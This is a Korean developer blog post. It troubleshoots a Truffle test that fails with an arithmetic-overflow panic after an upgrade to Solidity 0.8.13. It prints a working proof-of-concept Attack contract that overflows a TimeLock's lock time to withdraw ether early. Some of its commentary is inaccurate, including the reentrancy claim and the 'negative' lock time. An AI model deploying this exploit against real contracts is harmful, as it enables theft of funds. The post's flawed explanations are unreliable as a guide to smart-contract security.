배경
Udemy 강의를 보면서 React + truffle 기반 defi 클론 코딩 중, React 16버전인걸 18로 마이그레이션하게 되었다. 그 과정에서 solidity 버전을 ^0.5.0에서 0.8.13으로 바꾸었다가 해당 이슈를 만났다.
솔리디티 스마트 컨트랙트를 작성하고, mocha와 chai 기반 테스트를 실행시켜보았는데, ^0.5.0에서는 통과되던 테스트가 0.8.13에서는 에러가 발생하며 실패했다.
C:\Users\min49590\KimCookieYa\defi-vite-app>truffle test
Using network 'development'.
Compiling your contracts...
===========================
> Compiling .\contracts\DecentralBank.sol
> Compiling .\contracts\Migrations.sol
> Compiling .\contracts\RWD.sol
> Compiling .\contracts\Tether.sol
> Artifacts written to C:\Users\min49590\AppData\Local\Temp\test--4348-uSowwsUsSNbB
> Compiled successfully using:
- solc: 0.8.13+commit.abaa5c0e.Emscripten.clang
Contract: DecentralBank
Mock Tether Deployment
✔ matches name successfully
Reward Token Deployment
✔ matches name successfully
Decentral Bank Deployment
✔ matches name successfully
✔ contract has tokens
Yield Farming
1) rewards tokens for staking
Events emitted during test:
---------------------------
[object Object].Approval(
_owner: <indexed> 0x120a8b3E25D7A84E5f16D0F3De7040e794366bBC of unknown class (type: address),
_spender: <indexed> 0x764B11b30f571D7CE34C81B3E69dEE25bB6795fd (DecentralBank) (type: address),
_value: 100000000000000000000 (type: uint256)
)
---------------------------
4 passing (528ms)
1 failing
1) Contract: DecentralBank
Yield Farming
rewards tokens for staking:
Error: VM Exception while processing transaction: revert -- Reason given: Panic: Arithmetic overflow.
at Context.<anonymous> (test\decentralBank.tests.js:63:27)
at processTicksAndRejections (node:internal/process/task_queues:95:5)
Error: VM Exception while processing transaction: revert -- Reason given: Panic: Arithmetic overflow.
Arithmetic overflow가 발생한 것을 볼 수 있다. 단순하게 값이 너무 커져서 오버플로우가 발생한 것이다. 그러나 Solidity ^0.5.0에서는 문제 없던 테스트가 왜 갑자기 터졌느냐... 구글링 덕분에 금방 해결했다.
원인
- Arithmetic Overflow and Underflow
- 솔리디티 0.8 버전 이전에는 오버플로우/언더플로우가 발생해도 에러가 발생하지 않는다.
- 솔리디티 0.8 버전 이후에는 에러가 발생한다.
- 이는 보안 취약점 이슈 때문인 것으로 보인다.
* Solidity < 0.8
Integers in Solidity overflow / underflow without any errors
* Solidity >= 0.8
Default behaviour of Solidity 0.8 for overflow / underflow is to throw an error.
Solidity < 0.8 버전의 Vulnerability
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
위 예시 컨트랙트에는 다음과 같은 취약점(Vulnerability)이 존재한다.
- Integer Overflow:
increaseLockTime
함수에서 사용된 계산type(uint).max + 1 - timeLock.lockTime(address(this))
은 오버플로우를 발생시키는 계산이다. Solidity에서는 정수 오버플로우 및 언더플로우를 방지하기 위해 SafeMath와 같은 라이브러리를 사용해야 한다. 이 취약점으로 인해 공격자가lockTime
을 음수로 설정하여 즉시 자금을 인출할 수 있다. - 재진입 공격:
attack
함수에서timeLock.withdraw
를 호출한 후에도 다시timeLock.deposit
를 호출하고 있다. 이로 인해 재진입(reentrancy) 공격의 가능성이 열려 있다. 스마트 컨트랙트 개발 시에는 재진입 공격을 방지하기 위한 적절한 방어 메커니즘을 구현해야 한다. - LockTime 설정 무시:
attack
함수에서timeLock.increaseLockTime
을 사용하여lockTime
을 변경하고 있다. 이로 인해 시간 잠금을 우회하여 공격자가 빠르게 자금을 인출할 수 있다.
솔루션
이러한 오버플로우 문제를 해결하기 위해 Solidity 0.8부터는 Overflow/Underflow 발생 시 에러를 발생하도록 변경되었다. 결과적으로 솔리디티 버전을 ^0.5 로 롤백시키니 테스트를 정상적으로 통과했다. 취약점이 여전히 존재한다는 것이 문제일 뿐. 이외에도 SafeMath 라이브러리를 사용하여 정수 오버플로우를 방지할 수도 있다.
'IT > 블록체인' 카테고리의 다른 글
[트러블슈팅] web3.js import 에러 (0) | 2023.09.24 |
---|---|
[Ethereum] EIP와 ERC (0) | 2023.09.13 |
Truffle Suite (0) | 2023.09.06 |
[Ethereum] ERC-20 (0) | 2023.09.04 |
[Solidity] modifier (0) | 2023.09.04 |